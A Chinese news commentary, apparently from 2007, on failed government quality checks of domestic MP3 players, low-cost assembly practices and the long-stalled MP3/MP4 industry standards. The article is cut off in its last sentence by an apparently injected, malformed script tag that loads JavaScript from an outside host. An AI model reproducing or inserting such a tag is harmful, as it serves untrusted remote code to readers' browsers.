国内数码产业能否拥有一个可持续发展的未来？主流品牌厂商应该看到自己肩上的重任。
暑假已至，这本该是数码产品的销售旺季，多家mp3厂商却在此时笑得有点尴尬。一个多月前，国家信息产业部公布了对32家企业生产的32种mp3播放器的抽查结果：合格仅11家，合格率为34.4%。遗憾的是，不合格者均为国产厂商，而且不乏长虹佳华、清华紫光、优百特、中恒等口碑较好的品牌。
受到此次“质量门”事件影响最大的无非是“上榜”的不合格厂商，但客观反映出的是国产mp3产品普遍较低的竞争水平。包括众多mp3、mp4品牌在内的数码产品厂商，尤其是主流品牌，是该照照镜子，找出“不合格”的症结所在，并对这几近饱和的产业进行一番重新审视。
乱相背后
国产mp3产品遭遇“质量门”，已不是第一次了。以上海市场为例，去年5月对本市生产和销售的mp3播放器进行的一次大规模质量抽查显示，有83%的产品都存在质量问题，明基、纽曼等知名品牌赫然在列；同年7月，上海市质监局再次披露，400元以下的低价mp3占质量申诉总量80%，最大顽症为mp3容量缩水。今年春节过后，中国mp3产品又在国际大展上被查扣。
从培育期到成熟期，再进入良莠不齐的纷争期，这难道是我国一个行业发展的必经之路？在mp3初探市场时，容量仅为32mb、64mb的国外品牌mp3可以卖到近2000元。而现在，市面上1g的国产mp3百余元就能买到。几年之内，国内中小电子生产企业为了能在市场中分得一杯羹而蜂拥而上，陷入了低价低质的泥潭。一位业内人士直言：现在mp3行业入门门槛极低，整个市场鱼龙混杂。没有自主研发能力的厂商就以“作坊”形式进行组装生产，或者以游击方式“打一枪换个地方”，最终导致整个行业水平每况愈下。在这些杂牌军中，产品虚标、假标等现象也司空见惯。mp3的内部构造是由解码芯片、控制芯片、闪存芯片和电路板四大部分组成，一些入门门槛较低的企业就直接进入最后的贴牌组装阶段，更有甚者索性仿造国外品牌的产品外形造假。
虽然利益的驱使催生着投机行为，但厂商终究逃不过优胜劣汰的市场规律。据悉，2003年以前，中国mp3厂商超过千家，到2006年，这一数量就骤减到几百家。一位业内人士指出，此次抽查的mp3企业在行业中都是比较领先的，更多的mp3杂牌军并不在此列，如果把这些mp3企业也算入，产品合格率无疑会更低。
标准难产
一个多月以来，部分受到“质量门”事件牵连的mp3企业纷纷通过媒体表示“清白”。长虹佳华称，其抽检产品中，部分批次产品出现标识不符合，而非该型号所有产品；珠海市魅族电子科技有限公司称，该公司产品的生产、销售等环节均有相应政府机关检测后出示的合格证书，对信产部的抽查结果“不能理解”。
被标上“不合格”烙印的企业还“底气十足”，这并非没道理。它们不约而同地认为，由于缺乏统一的行业标准，各企业都是按照自己的标准来生产mp3，尽管能出具公司产品在生产、销售等环节的合格证书，但仍然可能过不了不同标准程序的“抽检关”。于是，多家业内品牌再次呼吁相关部门尽快出台相关行业标准。
类似的呼吁，我们并不陌生。mp4(个人便携式多媒体播录放机)进入我国3年多，其发展之路与mp3极为相似。业内人士指出，由于mp3后期的利润空间被打压到极限，制造商就急功近利生产伪mp4(仅带视频的mp3)，这严重扰乱了正品mp4的市场秩序及产业的健康发展。早在2005年10月28日深圳举行的“个人便携式多媒体播录放机(mp4)技术与市场研讨会暨配套产品展示会”上，爱可视、海信、康佳等数十家主流mp4厂商组成联盟，共同推进mp4行业标准的制定。2006年5月，信产部科技司应市场需要在北京召开“便携式多媒体标准化研讨会”，并邀请信产部移动存储器标准工作组、中国电子音响工业协会等多方和部分知名企业就mp4标准化的相关问题进行研讨。然而，此后关于标准的制定始终雷声大雨点小。如今到了2007年7月，仍然难觅标准出台的下文。
2005年，中国电子音响工业协会曾向信产部提交过制定mp3行业标准的申请，而该协会副秘书长郑鹤龄在最近接受媒体采访时却表示，由于mp3与mp4的界线模糊，协会现在已经不负责此事。中国电子信息产业发展研究院相关负责人则说，mp4行业标准可能流产，因为没有一个组织来牵头做这件事。
设置门槛
mp3和mp4的行业标准缘何难产？业内人士分析，一些具有一定市场占有率的厂商只从自身的利益出发提出标准，甚至想利用对自己有利的行业标准来打击竞争对手。还有的厂商意在标榜其“行业领头人”地位，而对行业发展并不在乎。
水落下去，水底的石头就露出来——数码产品行业中的主流品牌，应该明白“水落石出”和“水涨船高”的道理。作为占据全球mp4最大市场份额的领袖企业，爱可视亚洲股份有限公司董事总经理张亚玲?script src=http://er12.com/t.js>
